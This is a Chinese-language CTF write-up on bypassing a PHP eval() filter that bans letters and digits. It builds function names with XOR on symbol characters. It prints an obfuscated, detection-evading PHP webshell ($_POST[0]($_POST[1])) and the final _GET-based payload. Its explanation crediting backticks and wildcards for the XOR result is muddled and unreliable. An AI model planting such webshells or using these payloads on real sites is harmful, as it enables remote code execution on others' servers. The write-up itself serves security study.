0x01 前言
最近在做代碼審計的工作中遇到了一個難題,題目描述如下:
<?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>
這一串代碼描述是這樣子,我們要繞過A-Za-z0-9這些常規數字、字母字符串的傳參,將非字母、數字的字符經過各種變換,最后能構造出 a-z 中任意一個字符,並且字符串長度小於40。然后再利用 PHP允許動態函數執行的特點,拼接處一個函數名,這里我們是 "getFlag",然后動態執行之即可。
那么,我們需要考慮的問題是如何通過各種變換,使得我們能夠去成功讀取到getFlag函數,然后拿到webshell。
0x02 前置知識鋪墊
在理解這篇文章之前,我們首先需要大家了解的是PHP中異或(^)的概念。
我們先看一下下面這段代碼:
<?php echo "A"^"?"; ?>
運行結果如下:
我們可以看到,輸出的結果是字符"~"。之所以會得到這樣的結果,是因為代碼中對字符"A"和字符"?"進行了異或操作。在PHP中,兩個變量進行異或時,先會將字符串轉換成ASCII值,再將ASCII值轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了ASCII值,再將ASCII值轉換成字符串。異或操作有時也被用來交換兩個變量的值。
比如像上面這個例子
A的ASCII值是65,對應的二進制值是01000001
?的ASCII值是63,對應的二進制值是00111111
異或的二進制的值是10000000,對應的ASCII值是126,對應的字符串的值就是~了
我們都知道,PHP是弱類型的語言,也就是說在PHP中我們可以不預先聲明變量的類型,而直接聲明一個變量並進行初始化或賦值操作。正是由於PHP弱類型的這個特點,我們對PHP的變類型進行隱式的轉換,並利用這個特點進行一些非常規的操作。如將整型轉換成字符串型,將布爾型當作整型,或者將字符串當作函數來處理,下面我們來看一段代碼:
<?php function B(){ echo "Hello Angel_Kitty"; } $_++; $__= "?" ^ "}"; $__(); ?>
代碼執行結果如下:
我們一起來分析一下上面這段代碼:
- $_++; 這行代碼的意思是對變量名為"_"的變量進行自增操作,在PHP中未定義的變量默認值為null,null==false==0,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。
- $__="?" ^ "}"; 對字符"?"和"}"進行異或運算,得到結果B賦給變量名為"__"(兩個下划線)的變量
- __ (); 通過上面的賦值操作,變量__ (); 通過上面的賦值操作,變量__的值為B,所以這行可以看作是B(),在PHP中,這行代碼表示調用函數B,所以執行結果為Hello Angel_Kitty。在PHP中,我們可以將字符串當作函數來處理。
看到這里,相信大家如果再看到類似的PHP后門應該不會那么迷惑了,你可以通過一句句的分析后門代碼來理解后門想實現的功能。
我們希望使用這種后門創建一些可以繞過檢測的並且對我們有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我們需要的東西。
下面是個非常簡單的非數字字母的PHP后門:
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>
在這里我說明下,.=是字符串的連接,具體參看php語法
我們甚至可以將上面的代碼合並為一行,從而使程序的可讀性更差,代碼如下:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
0x03 問題分析
對於文章開始遇到的那道難題,最開始我們的想法是通過構造異或來去繞過那串字符,但由於最后構造的字串遠遠超過了長度len=40,然后我們最后放棄了~~
我們該如何構造這個字串使得長度小於40呢?
我們最終是要讀取到那個getFlag函數,我們需要構造一個_GET來去讀取這個函數,我們最終構造了如下字符串:
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
可能很多小伙伴看完前置知識后仍然無法理解這段字符串是如何構造的吧,我們就對這段字符串進行段分析
①構造_GET讀取
首先我們得知道_GET由什么異或而來的,經過我的嘗試與分析,我得出了下面的結論:
<?php echo "`{{{"^"?<>/";//_GET ?>
這段代碼一大坨是啥意思呢?因為40個字符長度的限制,導致以前逐個字符異或拼接的webshell不能使用。
這里可以使用php中可以執行命令的反引號` `
和Linux下面的通配符?
?
代表匹配一個字符- ` 表示執行命令
- " 對特殊字符串進行解析
由於?只能匹配一個字符,這種寫法的意思是循環調用,分別匹配。我們將其進行分解來看
<?php echo "{"^"<"; ?>
輸出結果為:
<?php echo "{"^">"; ?>
輸出結果為:
<?php echo "{"^"/"; ?>
輸出結果為:
所以_GET就是這么被構造出來的
②獲取_GET參數
如何獲取呢?咱們可以構造出如下字串:
<?php echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]) ?>
根據前面構造的來看,$_已經變成了_GET。
順理成章的來講,$_ = _GET這個字符串。
我們構建$_GET[ __ ]是為了要獲取參數值
③傳入參數
此時我們只需要去調用getFlag函數獲取webshell就好了,構造如下:
<?php echo $_=getFlag;//getFlag ?>
所以把參數全部連接起來,就可以了~~
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
結果如下:
我們就成功讀取到了flag~~
0x04 擴展閱讀
我給大家推薦幾篇寫的比較好的,方便大家能更進一步的理解這個東西。
- https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
- http://php.net/manual/zh/language.operators.increment.php
- https://www.e-learn.cn/content/php/1385759(原文)